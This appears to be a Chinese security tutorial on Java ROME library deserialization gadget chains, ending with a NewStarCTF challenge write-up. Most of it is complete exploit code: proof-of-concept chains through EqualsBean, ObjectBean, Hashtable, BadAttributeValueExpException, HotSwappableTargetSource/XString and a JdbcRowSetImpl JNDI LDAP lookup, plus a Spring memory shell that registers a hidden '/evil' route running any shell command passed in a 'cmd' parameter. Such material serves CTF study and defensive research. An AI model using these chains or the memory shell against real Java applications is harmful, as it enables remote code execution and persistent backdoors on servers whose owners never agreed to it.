前言
参考:
https://xz.aliyun.com/news/12214
https://drun1baby.top/2022/10/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BROME%E9%93%BE
https://luokuang1.github.io/2025/02/06/ROME%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://zjackky.github.io/post/java-security-rome-chain-1ojxop.html
和 FastJson 高度相似,因为都会调用任意的 setter 和 getter 方法,从而导致RCE
Rome
是一个有用的工具库,帮助处理和操作 XML 格式的数据。ROME 库允许我们把 XML 数据转换成 Java 中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将 Java 对象转换成 XML 数据,这样我们就可以把数据保存成 XML 文件或者发送给其他系统。
总之,就是一个 RSS 阅读器
ROME提供了 ToStringBean
这个类,提供深入的 toString
方法对 Java Bean 进行操作。
环境
maven 模板直接 quickstart 即可
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
EqualsBean链
看一下 ysoserial 上的调用栈:
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
和 cc 链相似的调用,最后是通过 TemplatesImpl 来实现任意类加载,开头是通过 hashmap 的 readObject 方法来完成调用
ToStringBean.toString
直接看核心的 ToStringBean.toString
,前面提过 rome 可以像 fastjson 那样任意调用 setter 和 getter,而 ToStringBean.toString
方法就是对 Java Bean 进行操作
先通过 BeanIntrospector.getPropertyDescriptors(_beanClass)
获取到 _beanClass
中的任意 getter 方法
在获取完任意 getter 方法后,做了一系列基本的判断 —— 确保 getter 方法不为空,确保能够调用类的 getter 方法,确保里面可以传参
判断结束后执行
Object value = pReadMethod.invoke(_obj,NO_PARAMS);
这里的 pReadMethod.invoke()
就类似于之前在反射中的 method.invoke()
一样
那么就和 fastjson 一样,TemplatesImpl.getOutputProperties()
明显是满足这个条件能被调用的方法
拿反射类比的话就像这样:
Class _beanClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object _obj = _beanClass.newInstance();
Method pReadMethod = _beanClass.getDeclaredMethod("getOutputProperties");
pReadMethod.invoke(_obj,NO_PARAMS)
// 等价于 TemplatesImpl.getOutputProperties()
然后向上跟踪一下 invoke 的这两个参数
构造函数直接赋值这两个参数,一个是 Class 对象另一个是 Object 对象
因为ToStringBean.toString(String)
方法是 private 方法,就可以看看哪里调用了 toString(String)
,这里就在它的另外一个toString
方法里面
那么可以先构造这一步的poc:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
public class ToStringBeanExec {
public static void main(String[] args) throws Exception {
TemplatesImpl tpl = Utils.getTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
toStringBean.toString();
}
}
调用 toString
接下来找调用 toString 的地方
这里是 EqualsBean#beanHashCode
那么调用就很明显了
equalsBean 和 toStringBean 是一样的写法
构造下一步的poc:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
public class EqualsBeanExec {
public static void main(String[] args) throws Exception {
TemplatesImpl tpl = Utils.getTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
equalsBean.hashCode();
}
}
HashMap完整构造
urldns链同款操作
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.util.HashMap;
public class EqualsBeanChain {
public static void main(String[] args) throws Exception {
TemplatesImpl tpl = Utils.getTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"0w0");
String barr = Utils.Serialize(hashMap);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
ObjectBean链
用 ObjectBean
来替换 EqualsBean
,代码基本不变,只变了这一句:
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(objectBean,"0w0");
完整的poc:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.util.HashMap;
public class ObjectBeanChain {
public static void main(String[] args) throws Exception {
TemplatesImpl tpl = Utils.getTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(objectBean,"0w0");
String barr = Utils.Serialize(hashMap);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
HashTable链
这条链子实际上就是在 HashMap 被ban的情况下进行反序列化,因为最终目的始终都是调用 hashcode 函数,而 HashTbale 中刚好调用了 hashcode,因此仍然可以触发整套流程
Hashtable hashtable= new Hashtable();
hashtable.put(equalsBean,"0w0");
完整的poc:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.util.Hashtable;
public class HashTableChain {
public static void main(String[] args) throws Exception {
TemplatesImpl tpl = Utils.getTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
Hashtable hashtable= new Hashtable();
hashtable.put(equalsBean,"0w0");
String barr = Utils.Serialize(hashtable);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
BadAttributeValueExpException链
此事在 cc5 中亦有记载,BadAttributeValueExpException 触发 toString,于是连上 ToStringBean
poc:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.util.HashMap;
public class BadAttributeValueExpExceptionChain {
public static void main(String[] args) throws Exception {
TemplatesImpl tpl = Utils.getTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);
String barr = Utils.Serialize(badAttributeValueExpException);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
HotSwappableTargetSource链
此事在西湖论剑 ez_api 中亦有记载,通过 HotSwappableTargetSource#equals 调用 Xstring#toString,于是接上
poc:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
public class XStringChain {
public static void main(String[] args) throws Exception {
TemplatesImpl tpl = Utils.getTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object,Object> hashMap = makeMap(h1,h2);
String barr = Utils.Serialize(hashMap);
System.out.println(barr);
Utils.UnSerialize(barr);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Utils.SetValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Utils.SetValue(s, "table", tbl);
return s;
}
}
JdbcRowSetImpl链
fastjson 反序列化里提过这个类
这条链子和之前的没关系,产生漏洞是因为当时链尾的时候的调用任意 getter 方法,一开始我们是去调用 TemplatesImpl#getOutputProperties()
的,现在我们可以用 JdbcRowSetImpl
这条链子
链子分析已经在 fastjson 篇分析过了,直接上poc:
package com.example;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.util.HashMap;
public class JdbcRowSetImplChain {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
// EXP为我们的恶意类
String url = "ldap://127.0.0.1:1230/ExportObject";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "0w0");
String barr = Utils.Serialize(hashMap);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
既然是 JNDI 就要注意 jdk 版本问题
缩短payload
例题
[NewStarCTF]Rome
拿到 jar 包解压反编译
直接看controller
package remo.remo;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class SerController {
public SerController() {
}
@GetMapping({"/"})
@ResponseBody
public String helloCTF() {
return "Do you like Jvav?";
}
@PostMapping({"/"})
@ResponseBody
public String helloCTF(@RequestParam String EXP) throws IOException, ClassNotFoundException {
if (EXP.equals("")) {
return "Do you know Rome Serializer?";
} else {
byte[] exp = Base64.getDecoder().decode(EXP);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
return "Do You like Jvav?";
}
}
}
看一下 lib
可以直接打 rome 反序列化
测了下发现 buu 题库里的靶机没出网,得打个内存马
内存马参考:
https://blog.csdn.net/weixin_39190897/article/details/140571199
https://todis21.github.io/2023/11/06/Spring%E5%86%85%E5%AD%98%E9%A9%AC/
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class InjectToController extends AbstractTranslet {
public InjectToController() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController.class.getMethod("exec");
// PatternsRequestCondition url = new PatternsRequestCondition("/evil");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
RequestMappingInfo info = RequestMappingInfo.paths("/evil").options(config).build();
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
public InjectToController(String arg) {}
public void exec(){
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder("cmd.exe", "/c", arg0);
}else{
p = new java.lang.ProcessBuilder("/bin/sh", "-c", arg0);
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
Utils 新增:
private static byte[] GenerateMemShell() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.getCtClass("com.example.InjectToController");
return ctClass.toBytecode();
}
直接用 xstring 链打:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.xml.transform.Templates;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
public class XStringChain {
public static void main(String[] args) throws Exception {
// TemplatesImpl tpl = Utils.getTemplatesImpl();
TemplatesImpl tpl = Utils.memTemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class, tpl);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object,Object> hashMap = makeMap(h1,h2);
String barr = Utils.Serialize(hashMap);
System.out.println(barr);
// Utils.UnSerialize(barr);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Utils.SetValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Utils.SetValue(s, "table", tbl);
return s;
}
}